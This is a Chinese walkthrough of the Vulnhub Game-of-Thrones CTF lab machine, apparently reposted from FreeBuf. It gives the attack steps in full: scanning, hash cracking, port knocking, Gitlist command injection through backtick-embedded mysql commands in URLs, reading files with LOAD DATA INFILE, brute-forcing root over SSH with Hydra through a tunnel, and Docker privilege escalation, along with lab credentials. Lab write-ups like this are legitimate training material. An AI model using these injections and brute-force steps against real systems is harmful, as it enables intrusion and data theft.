span标签Game-of-Thrones-CTF-1靶机完全攻略

0×00 说明 虚拟机地址:https://www.vulnhub.com/entry/game-of-thrones-ctf-1,201/ 这个靶机的难度较高,过程并不是一气呵成,所以经过了多次更换网络和IP的过程,ip略有混乱,请
原标题:Game-of-Thrones-CTF-1靶机完全攻略0×00说明虚拟机地址:https://www.vulnhub.com/entry/game-of-thrones-ctf-1,201/这个靶机的难度较高,过程并不是一气呵成,所以经过了多次更换网络和IP的过程,ip略有混乱,请见谅。之前这个靶机在这里出现过,但是我认为文中有很多疏漏和不合逻辑的地方,因为这个靶机完成度相当高,所有的破解方法均有提示,并不存在需要特别大的脑洞猜想的地方,所以我决定写一篇完全可以复现的秘籍。0×01信息获取首先用nmap扫描,Pingscan:nmap-sn192.168.50.0/22,探测到虚拟机ip为192.168.50.215,再使用nmap-p1-65535-T4-A-v192.168.50.215,探测所有tcp端口,发现如下信息:信息比较多的端口是80端口,访问一下,主题曲响起,讲究!查看一下robots.txt文件:分别是:http://192.168.50.215/the-tree/http://192.168.50.215/secret-island/http://192.168.50.215/direct-access-to-kings-landing/依次访问,从secret-island中发现了指导性的信息:成功得到地图!上面记录了本次游戏的关键点和目标,与冰与火之歌的各国相对应,讲究!除了常规的7个任务和最终任务外,还有3个秘密flag在其中,这3个flag与最终战役有很大的关系,必须要收集到。来看看另一个地址:看出什么端倪了吗?注释的提示中的大写字母抽出来:USERAGENT,结合robots.txt中的提示,应该是要换header。挂上代理在burp中抓包,将User-Agent:Three-eyed-raven添加到请求头中,发送数据包。内容如下:花点儿时间,通过扫描后台,可以发现更多的秘密:发现一个新的页面:http://192.168.50.215/raven.php查看源代码,发现如下提示,目前还没有什么头绪,先记下来:http://192.168.110.129/direct-access-to-kings-landing/直接访问是行不通的,不过好像暗示了什么:Music?野兽都能懂?同时考虑一下三眼乌鸦的第三个指示,让我们把音乐下载下来,用exiftool查看文件信息:https://sno.phy.queensu.ca/~phil/exiftool/Savagessecretflag:8bf8854bebe108183caeb845c7676ae4这样获得了第一个秘密flag!现在根据地图的指引,让我们开始下一步吧!0×02初到多恩经过完整的扫描,又发现了如下的奇怪路径:源代码中的提示:结合nmap中ftp的banner信息明显,这便是地图上提到的第一个flag的所在地,Dorne(FTP)提示中只提到了口令,但是却没有将用户名告诉我们,突然想到,前面三眼乌鸦提示过我们,进入Dorne需要的身份是oberynmartell(奥柏伦·马泰尔,人称沙蛇,ftp的banner中也提到了沙蛇女),这样我们得到了第一个通行证。可以看到第一个flag已经出现了~0×03攻略北境王国进入ftp:problems_in_the_north.txt内容如下:很明显要用上面的方法对下面的密码进行解密。加密方式是:md5(md5($salt).$pass)nobody:6000e084bf18c302eae4559d48cb520c$2hY68a通过查阅资料(hashcatofficialwiki),这种加密方式只在hashcat-legacy中支持。同时发现,根据工具支持的格式,拿到的hash还需要把”$”改为”:”6000e084bf18c302eae4559d48cb520c:2hY68agithub中的地址为:https://github.com/hashcat/hashcat-legacy但是可以看到,最新版的hashcat已经去掉了这种加密方式的破解,所以我们还得找一个旧版本https://hashcat.net/files_legacy/hashcat-2.00.7zok得到密码:stark联想到之前提到的passthroughthewall的方法是mcrypt:使用mcrypt解密,密码就是上面解密的MD5直接访问域名发现并不能进入,而往上看,I’llwriteonyourmapthisroutetogetfastertoWinterfell.这句话暗示了要将这个域名加入到hosts,方便访问,不过我想先走个捷径,试试直接访问:结果被自己的懒惰给坑了,还被无情的嘲笑。。。结果加入hosts之后,一直无法访问到,尝试各种方法后,确定应该是需要更改DNS并刷新缓存,清空浏览器历史记录,这样才不会被之前的DNS弄到别处去。由于解决这个问题用时太长,已经很晚了,决定先休息,第二天到单位再做,我将靶机转移到了主机模式,这里IP变成了192.168.110.129。查看源代码得到第二个flag:0×04进军铁群岛从提示中可以看到,盾徽是个突破口:这是一个简单的隐写术。用文本方式打开,在最后会出现这样一段话:“Timef0rconqu3rsTeXTshouldbeaskedtoenterintotheIronIslandsfortress”–TheonGreyjoy看来,下一步的关键点已经有了,那我们就向着目标出发吧!地图显示,第三个目标在DNS上,而上面的暗示指出TXT记录可能包含些什么,这时我们可以使用nslookup工具对dns记录进行查看。nslookup最简单的用法是查询域名对应的IP地址:可以查询包括A记录、MX记录、NS记录、CNAME记录、TXT记录。格式为:nslookup-qt=txt域名这样,我们构造一个命令,查看一下靶机dns的txt记录,得到第三个flag:0×05前往风暴地从上面的提示中,目标直指风暴地(stormlands),访问端口10000Enterusingthisuser/passcombination:aryastark/N3ddl3_1s_a_g00d_sword#!随便搜索一些什么(这一步比较坑,现在出于安全考虑,给java程序设置设置了一堆的坎,尤其是firefox都禁用了java程序,这里推荐使用IE,把域名加到java的例外列表里才能正常显示小程序,侧面反映出IE的不安全性233)找到flag.txt,打开如下:0×06山谷王国回头看看地图,山谷王国指的是PostgreSQL,在nmap里我们扫到过这个服务:现在我们用用户名密码登录一下试试看:查阅一下PostgreSQL常用命令,了解清楚后,链接数据库:$psql-Uuser_name-ddatabase_name-hserverhost很明显这是一段base64编码,祭出工具转换一下:不仅得到了flag,同时也获得了下一站的账号密码。这里留个心,虽然让我们马上去下一站,但是我们注意到数据库里还有很多其他的数据表,浏览一下看看。首先select*fromaryas_kill_list死亡笔记吗??!!再看看其他的。下一个是braavos_book,布拉沃斯?好像哪里见过,对了翻开地图看看,哈哈,果然,隐藏的flag哦。select*frombraavos_book;咦?9是什么?看起来是一串经过加密的字串,经过分析和尝试,这是用ROT16加密的字符串,解密之后Themany-facedgodwantsyoutochangeyourface.Hewantsyoutoidentifyasoneofyourkilllist.Selectitbasedonthisbook’slostpagenumber.Thedatabasetoconnectwillbebraavosandyourpasswordwillbe:ValarMorghulis看来是要让我们遍历一下死亡笔记里的名单了,先记下放一放,把其他的信息看完。继续收集信息,万一有用呢?select*fromeyrie;这是鹰巢城的艾林家族。select*frompopular_wisdom_book;好,回到刚才的数据库名单和密码,挨个试一遍吧,最后我们发现TheRedWomanMelisandre是用户名得到秘密flag,好现在我们前往KingdomoftheReach。0×07河湾王国看看地图,入口是imap,但是端口没有打开,有什么头绪吗?前面最开始三眼乌鸦告诉了我们三条线索,第二条可以派上用场了”34876453512345.Rememberthesenumbers,you’llneedtousethemwithPOLITEpeopleyou’llknowwhentousethem”POLITEpeople?好像也在那里见过,前面我们获得了popular_wisdom_book,其中便有这样的字眼:好吧,需要敲门,这是一个安全机制,端口敲门服务(knockd),查下资料,看看这是啥。这个该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来“敲门”。通过这种方法使系统开启需要访问的服务端口,才能对外访问。不使用时,再使用自定义的序列号来“关门”,将端口关闭,不对外监听。进一步提升了服务和系统的安全性。端口试探(portknocking)是一种通过连接尝试,从外部打开原先关闭端口的方法。一旦收到正确顺序的连接尝试,防火墙就会动态打开一些特定的端口给允许尝试连接的主机。端口试探的主要目的是防治攻击者通过端口扫描的方式对主机进行攻击。端口试探类似于一次秘密握手协议,比如一种最基本的方式:发送一定序列的UDP、TCP数据包。当运行在主机上的daemon程序捕捉到数据包以后,如果这个序列正确,则开启相应的端口,或者防火墙允许客户端通过。由于对外的Linux服务器通过限制IP地址的方式来控制访问,因此可以利用这种端口试探方式来进行防火墙对于访问IP地址的控制。使用工具对三眼乌鸦说的三个端口号进行敲门吧:http://www.portknocking.org/这是端口敲门的官网,从里面可以找到需要的工具,也可以到github上找到很多,我在里面选择了一款python的工具,knock,尝试一下吧:git@github.com:grongor/knock.git有兴趣的也可以看看代码学习一下~先扫一下143端口,是被防火墙过滤掉的:使用knock工具进行敲门:143端口成功打开:nc192.168.110.129143直接连接到143后,需要用命令进行邮件操作,简要的操作如下:A01LOGINabc123#用户登录A02LIST“”*#列出所有信箱列表A03SelectINBOX#选择收件箱A04SearchALL#查询收件箱所有邮件A05Searchnew#查询收件箱所有新邮件A06Fetch5full#获取第5封邮件的邮件头A07Fetch5rfc822#获取第5封邮件的完整内容A08Fetch5flags#查询第5封邮件的标志位A09Store5+flags.silent(/deleted)#设置标志位为删除A10Expunge#永久删除当前邮箱INBOX中所有设置了/deleted标志的信件A11noop#空语句A20LOGOUT#退出输入的每条命令都需要加上标签,也可以直接输入a+命令:aloginolennatyrell@7kingdoms.ctfH1gh.Gard3n.powah得到如下的邮件:Congratulations!!YouconqueredtheKingdomoftheReach.Thisistheflag:aee750c2009723355e2ac57564f9c3dbNowyoucanauthonnextKingdom(TheRock,port1337)usingthisuser/passcombination:User:TywinLannisterPass:LannisterN3verDie!“ThethingsIdoforlove…”–Jaime(Kingslayer)Lannister在收件箱的这唯一一封邮件中,我们找到了flag。0×08征服凯岩王国与君临下一步是凯岩王国,端口是1337,但是可以看到1337是关闭的,这是怎么回事?重启虚拟机、重新导入虚拟机都不奏效,突然想到,我做出的改变只是网络的连接方式,会不会和这个有关?于是我将网络恢复到桥接模式于是:大门终于出现在我的面前!登录进去,是一个gitlist大致浏览一下:2f686f6d652f747972696f6e6c616e6e69737465722f636865636b706f696e742e747874十六进制,转成ascii码试试/home/tyrionlannister/checkpoint.txt这应该是我们需要得到的文件,但是这是用在哪里的呢?会不会是之前我们在网页里java程序那里呢?并没有,那这是怎么得到呢,翻翻看地图,发现和mysql有关。那有可能就是注入喽?但注入点在哪里?还是google一下吧,最后查到Gitlist存在一个远程代码执行漏洞,比如这样:很明显,返回的错误中执行了代码,那么让我们看下这个文件试试:找到去往君临的关键:user/pass:cerseilannister/_g0dsHaveNoMercy_db:kingslandinghttp://192.168.48.189:1337/casterly-rock/blob/master/“a”`mysql-h192.168.48.189-ucerseilannister-p_g0dsHaveNoMercy_-Dkingslanding–execute=”showtables;”`http://192.168.48.189:1337/casterly-rock/blob/master/“a”`mysql-h192.168.48.189-ucerseilannister-p_g0dsHaveNoMercy_-Dkingslanding–execute=”SELECT*fromiron_throne;”`-..-..–-.-.-..-.—-.–…–.-.-..-..-...-..-...-—很明显是摩斯码。翻译一下:/ETC/MYSQL/FLAG但是当我们尝试去查看这个文件时却发现文件并不存在,这是怎么回事?在摩斯密码的后面还有一点儿提示,告诉我们在这里有特权,看看都有啥:http://192.168.48.189:1337/casterly-rock/blob/master/“a”`mysql-h192.168.48.189-ucerseilannister-p_g0dsHaveNoMercy_-Dkingslanding–execute=”showgrants;”`可以看到有file、grant、select、insert、create,猜想,我们有可能需要使用特权把flag的内容导入一个新的表中,这样我们就可以查看了。http://192.168.48.189:1337/casterly-rock/blob/master/“a”`mysql-h192.168.48.189-ucerseilannister-p_g0dsHaveNoMercy_-Dkingslanding–execute=”CREATETABLEtest(flagTEXT);”`http://192.168.48.189:1337/casterly-rock/blob/master/“a”`mysql-h192.168.48.189-ucerseilannister-p_g0dsHaveNoMercy_-Dkingslanding–execute=”LOADdataINFILE‘/etc/mysql/flag’INTOTABLEtest;”`http://192.168.48.189:1337/casterly-rock/blob/master/“a”`mysql-h192.168.48.189-ucerseilannister-p_g0dsHaveNoMercy_-Dkingslanding–execute=”select*fromtest;”`Sshuser-pass:daenerystargaryen-.Dracarys4thewin.好,这下我们得到了7个flag中的最后一个,还有SSH的用户名密码,这是最终战场的入口。0×09最终决战在决战前要先找到必要的武器,Dragonglass是必须的,所以我们先来寻找一下吧!成功登陆ssh,先来收集情报吧:提示中说,这里是通往172.25.0.2的唯一入口,这有可能是这里并没有fail2ban的功能,这给了我们暴力破解root权限的可能性,而且还存在digger.txt这个字典,用scp命令把这个文件下载到本地,用Hydra来进行暴破吧:scpdaenerystargaryen@192.168.48.189:/home/daenerystargaryen/digger.txt./digger.txtsshdaenerystargaryen@192.168.48.189-L12345:172.25.0.2:22-Nhydra-lroot-Pdigger.txtssh://localhost:12345可以看到已经得到了结果:login:rootpassword:Dr4g0nGl4ss!通过ssh登录到172.25.0.2探查一番找到了这里的秘密flag!Host’sssh:branstark/Th3_Thr33_Ey3d_Raven进入真正的最终决战:看来最后一战已经来临,但是并没有发现什么线索。得从系统级别的漏洞进行考虑了:我们并不是root权限,所以思路就是要提权,通过查看id,发现这是一个docker虚拟机,然后查看一下版本,经过查询,docker存在一个本地提权漏洞(参考https://www.exploit-db.com/exploits/40394/)需要用到metasploit是时候祭出大杀器了:成功提权,去root里看看:把文件拷贝回来用7z打开:看来是要破解checkpoint中的密码了三个秘密flag是:8bf8854bebe108183caeb845c7676ae43f82c41a70a8b0cfec9052252d9fd721a8db1d82db78ed452ba0882fb9554fc9密码的公式是:concat(substr(secret_flag1,strlen(secret_flag1)-10,strlen(secret_flag1)),substr(secret_flag2,strlen(secret_flag2)-10,strlen(secret_flag2)),substr(secret_flag3,strlen(secret_flag3)-10,strlen(secret_flag3)))简单用python写段代码,跑一下:str1=\"8bf8854bebe108183caeb845c7676ae4\"str2=\"3f82c41a70a8b0cfec9052252d9fd721\"str3=\"a8db1d82db78ed452ba0882fb9554fc9\"str0=str1[len(str1)-10:len(str1)]+str2[len(str2)-10:len(str2)]+str3[len(str3)-10:len(str3)]printstr0结果是:45c7676ae4252d9fd7212fb9554fc9顺利打开压缩包:FinalBattleflag:8e63dcd86ef9574181a9b6184ed3dde5______________|||.|||||-_|.||_|_____|_|_|___|___||_|YouwonthebattleagainstWhiteWalkers.YoupwnedtheGameofThronesCTF!!!(v1.0September2017)Nowthesevenkingdomscanrestinpeaceforalongtimeruledbyatrueking/queen.CongratulationsandIhopeyouenjoyedtheexperienceasmuchasmemakingit!!DesignedbyOscarAlfonso(OscarAkaElvisorv1s1t0r)Contact:v1s1t0r.1s.h3r3@gmail.comhttps://github.com/OscarAkaElvis/game-of-thrones-hacking-ctfAlastlittlepresent!youcangetnowalltheflagsordered:DorneWinterfellIronIslandsStormlandsMountainandtheValeReachRockandKing\'sLandingSavagesCityofBraavosDragonglassMineFinalBattleGetthewordofeachoneusinghttps://crackstation.netoranyothermd5onlinecrackservicetogetaphraseinarow!!把这些flag归位到这个文件里,破解这些MD5:就这样,我们顺利完成了任务,赢得了最后的胜利!又一次守护了世界和平!这个靶机完成度真的是相当的高,而且玩起来特别有意思,学到了很多,很开心,希望以后有更多高质量的靶机供大家happy!参考资料http://k3ramas.blogspot.com/2017/11/game-of-thrones-ctf-1-walkthrough_1.htmlhttps://blog.vonhewitt.com/2017/11/game-thrones-ctf-1-vulnhub-writeup*本文作者:ksufer,转载请注明来自FreeBuf.COM责任编辑:

本文来自投稿,不代表长河网立场,转载请注明出处: http://www.changhe99.com/a/yBrgVYej6P.html

(0)

相关推荐